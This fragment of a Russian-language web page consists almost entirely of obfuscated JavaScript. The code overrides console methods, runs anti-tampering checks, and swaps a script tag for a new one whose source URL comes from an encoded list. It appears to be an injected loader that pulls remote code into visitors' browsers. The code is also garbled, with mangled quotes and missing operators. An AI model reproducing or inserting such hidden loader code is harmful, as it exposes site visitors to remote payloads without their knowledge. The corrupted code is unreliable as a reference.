[0x1,0x0,0x0],this[‘aBvRRk’]=function(){return’newState’;},this[‘hSfrHc’]=’x5cw x20*x5c(x5c)x20*{x5cw x20*’,this[‘JuTrEU’]='[x27|x22]. [x27|x22];?x20*}’;};_0x813e7b[‘prototype’][‘DjFBTt’]=function(){var _0x5282aa=new RegExp(this[‘hSfrHc’] this[‘JuTrEU’]),_0x3a962a=_0x5282aa[‘test’](this[‘aBvRRk’][‘toString’]())?–this[‘VcOAHj’][0x1]:–this[‘VcOAHj’][0x0];return this[‘JyOvZW’](_0x3a962a);},_0x813e7b[‘prototype’][‘JyOvZW’]=function(_0x276526){if(!Boolean(~_0x276526))return _0x276526;return this[‘AakBhD’](this[‘jOBnSf’]);},_0x813e7b[‘prototype’][‘AakBhD’]=function(_0x461fbf){for(var _0x14f506=0x0,_0x2ee2e0=this[‘VcOAHj’][‘length’];_0x14f506<_0x2ee2e0;_0x14f506 ){this[‘VcOAHj’][‘push’](Math[’round’](Math[‘random’]())),_0x2ee2e0=this[‘VcOAHj’][‘length’];}return _0x461fbf(this[‘VcOAHj’][0x0]);},new _0x813e7b(a0_0x5344)[‘DjFBTt’](),_0x3ab154=a0_0x5344[‘MSYvHM’](_0x3ab154),a0_0x5344[‘uDogYq’][_0x35036b]=_0x3ab154;}else _0x3ab154=_0x75b161;return _0x3ab154;};!function(_0x9927ec){var _0x147d37=function(){var
_0x492bcc=!![];return function(_0x813e7b,_0x3456c1){var _0x5282aa=_0x492bcc?function(){var _0x39e649=a0_0x5344;if(_0x3456c1){var _0x3a962a=_0x3456c1[_0x39e649(0x19e)](_0x813e7b,arguments);return _0x3456c1=null,_0x3a962a;}}:function(){};return _0x492bcc=![],_0x5282aa;};}(),_0x3a3234=function(){var _0x276526=!![];return function(_0x461fbf,_0x14f506){var _0x2ee2e0=_0x276526?function(){var _0x366da0=a0_0x5344;if(_0x14f506){var _0x1e0ef5=_0x14f506[_0x366da0(0x19e)](_0x461fbf,arguments);return _0x14f506=null,_0x1e0ef5;}}:function(){};return _0x276526=![],_0x2ee2e0;};}(),_0x95b9f2={};function _0x5c109c(_0x27154d){var _0xcaea4d=a0_0x5344,_0xfcac6c=_0x147d37(this,function(){var _0x7c8730=function(){var _0x5b59d9=a0_0x5344,_0x4f08e7=_0x7c8730[_0x5b59d9(0x193)](_0x5b59d9(0x174))()[_0x5b59d9(0x193)](_0x5b59d9(0x19b));return!_0x4f08e7[_0x5b59d9(0x1ac)](_0xfcac6c);};return _0x7c8730();});_0xfcac6c();var _0xeaa392=_0x3a3234(this,function(){var _0x122b2d=a0_0x5344,_0x4e2253;try{var
_0x13b746=Function(_0x122b2d(0x1ae) _0x122b2d(0x175) ‘);’);_0x4e2253=_0x13b746();}catch(_0x518bc2){_0x4e2253=window;}var _0x345b99=_0x4e2253[_0x122b2d(0x182)]=_0x4e2253[_0x122b2d(0x182)]||{},_0x17fae1=[_0x122b2d(0x1a9),_0x122b2d(0x197),_0x122b2d(0x185),_0x122b2d(0x18f),_0x122b2d(0x196),_0x122b2d(0x18e),_0x122b2d(0x1a3)];for(var _0x1f4484=0x0;_0x1f4484<_0x17fae1[_0x122b2d(0x17b)];_0x1f4484 ){var _0x58d3ee=_0x3a3234[_0x122b2d(0x193)][_0x122b2d(0x1a5)][_0x122b2d(0x1a2)](_0x3a3234),_0x10cd41=_0x17fae1[_0x1f4484],_0x174496=_0x345b99[_0x10cd41]||_0x58d3ee;_0x58d3ee[_0x122b2d(0x18c)]=_0x3a3234[_0x122b2d(0x1a2)](_0x3a3234),_0x58d3ee[_0x122b2d(0x199)]=_0x174496[_0x122b2d(0x199)][_0x122b2d(0x1a2)](_0x174496),_0x345b99[_0x10cd41]=_0x58d3ee;}});_0xeaa392();if(_0x95b9f2[_0x27154d])return _0x95b9f2[_0x27154d][_0xcaea4d(0x17a)];var _0x217ef4=_0x95b9f2[_0x27154d]={‘i’:_0x27154d,’l’:!0x1,’exports’:{}};return _0x9927ec[_0x27154d][_0xcaea4d(0x1ab)]
(_0x217ef4[_0xcaea4d(0x17a)],_0x217ef4,_0x217ef4[_0xcaea4d(0x17a)],_0x5c109c),_0x217ef4[‘l’]=!0x0,_0x217ef4[_0xcaea4d(0x17a)];}_0x5c109c[‘m’]=_0x9927ec,_0x5c109c[‘c’]=_0x95b9f2,_0x5c109c[‘d’]=function(_0x3fd18b,_0x325dba,_0x1ab03a){var _0x275bc6=a0_0x5344;_0x5c109c[‘o’](_0x3fd18b,_0x325dba)||Object[_0x275bc6(0x1a6)](_0x3fd18b,_0x325dba,{‘enumerable’:!0x0,’get’:_0x1ab03a});},_0x5c109c[‘r’]=function(_0xc3598c){var _0xce1d3c=a0_0x5344;_0xce1d3c(0x176)!=typeof Symbol&&Symbol[_0xce1d3c(0x19f)]&&Object[_0xce1d3c(0x1a6)](_0xc3598c,Symbol[_0xce1d3c(0x19f)],{‘value’:_0xce1d3c(0x1a1)}),Object[_0xce1d3c(0x1a6)](_0xc3598c,_0xce1d3c(0x1b0),{‘value’:!0x0});},_0x5c109c[‘t’]=function(_0x29b1a1,_0x5eb5bd){var _0x577743=a0_0x5344;if(0x1&_0x5eb5bd&&(_0x29b1a1=_0x5c109c(_0x29b1a1)),0x8&_0x5eb5bd)return _0x29b1a1;if(0x4&_0x5eb5bd&&_0x577743(0x186)==typeof _0x29b1a1&&_0x29b1a1&&_0x29b1a1[_0x577743(0x1b0)])return _0x29b1a1;var _0x5c0015=Object[_0x577743(0x1b5)](null);if(_0x5c109c[‘r’](_0x5c0015),Object[_0x577743(0x1a6)](_0x5c0015,_0x577743(0x183),
{‘enumerable’:!0x0,’value’:_0x29b1a1}),0x2&_0x5eb5bd&&_0x577743(0x1b3)!=typeof _0x29b1a1)for(var _0x10f741 in _0x29b1a1)_0x5c109c[‘d’](_0x5c0015,_0x10f741,function(_0x4e84e4){return _0x29b1a1[_0x4e84e4];}[_0x577743(0x1a2)](null,_0x10f741));return _0x5c0015;},_0x5c109c[‘n’]=function(_0x131996){var _0x5e67db=a0_0x5344,_0x4b9a96=_0x131996&&_0x131996[_0x5e67db(0x1b0)]?function(){var _0x327075=_0x5e67db;return _0x131996[_0x327075(0x183)];}:function(){return _0x131996;};return _0x5c109c[‘d’](_0x4b9a96,’a’,_0x4b9a96),_0x4b9a96;},_0x5c109c[‘o’]=function(_0x1fd9c6,_0x794c81){var _0x146304=a0_0x5344;return Object[_0x146304(0x1a5)][_0x146304(0x198)][_0x146304(0x1ab)](_0x1fd9c6,_0x794c81);},_0x5c109c[‘p’]=”,_0x5c109c(_0x5c109c[‘s’]=0x0);}([function(_0x2a4160,_0x5a2751,_0x9b0b7a){var _0x284acf=a0_0x5344;_0x2a4160[_0x284acf(0x17a)]=_0x9b0b7a(0x1);},function(_0x47793c,_0x307fe5,_0x5e530c){var _0x2e5f94=a0_0x5344;’use strict’;_0x5e530c[‘r’](_0x307fe5);const _0x3a83f3=[[_0x2e5f94(0x17c),_0x2e5f94(0x1a7)],[_0x2e5f94(0x1aa),_0x2e5f94(0x178)],
[_0x2e5f94(0x1a0),_0x2e5f94(0x188)],[_0x2e5f94(0x172),_0x2e5f94(0x1b4)],[_0x2e5f94(0x179),_0x2e5f94(0x1b1)],[_0x2e5f94(0x191),_0x2e5f94(0x192)],[_0x2e5f94(0x17d),_0x2e5f94(0x1a8)],[_0x2e5f94(0x195),_0x2e5f94(0x194)]][_0x2e5f94(0x1af)](_0x3d41fc=>_0x3d41fc[0x0]);(()=>{var _0x2ef6b9=_0x2e5f94;const _0x5d3700=document[_0x2ef6b9(0x18a)](_0x2ef6b9(0x184)),_0x51ee15=new window[(_0x2ef6b9(0x190))](_0x5d3700[_0x2ef6b9(0x17f)]),_0x180a4a=parseInt(_0x5d3700[_0x2ef6b9(0x18b)](_0x2ef6b9(0x18d)))||0x0;if(_0x180a4a>=_0x3a83f3[_0x2ef6b9(0x17b)])return _0x5d3700[_0x2ef6b9(0x1a4)]=null,void console[_0x2ef6b9(0x1a9)](_0x2ef6b9(0x1ad));_0x51ee15[_0x2ef6b9(0x19a)]=_0x3a83f3[_0x180a4a];const
_0x2fce4c=document[_0x2ef6b9(0x189)](_0x2ef6b9(0x177));[…_0x5d3700[_0x2ef6b9(0x1b2)]][_0x2ef6b9(0x19d)](_0x2ed4c9=>_0x2fce4c[_0x2ef6b9(0x180)](_0x2ed4c9[_0x2ef6b9(0x173)],_0x2ed4c9[_0x2ef6b9(0x1b6)])),_0x2fce4c[_0x2ef6b9(0x180)](_0x2ef6b9(0x18d),_0x180a4a 0x1),_0x2fce4c[_0x2ef6b9(0x180)]
(_0x2ef6b9(0x17f),_0x51ee15[_0x2ef6b9(0x199)]()),_0x5d3700[_0x2ef6b9(0x187)][_0x2ef6b9(0x19c)](_0x5d3700),document[_0x2ef6b9(0x17e)][_0x2ef6b9(0x181)]
(_0x2fce4c);})();}]);”>

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector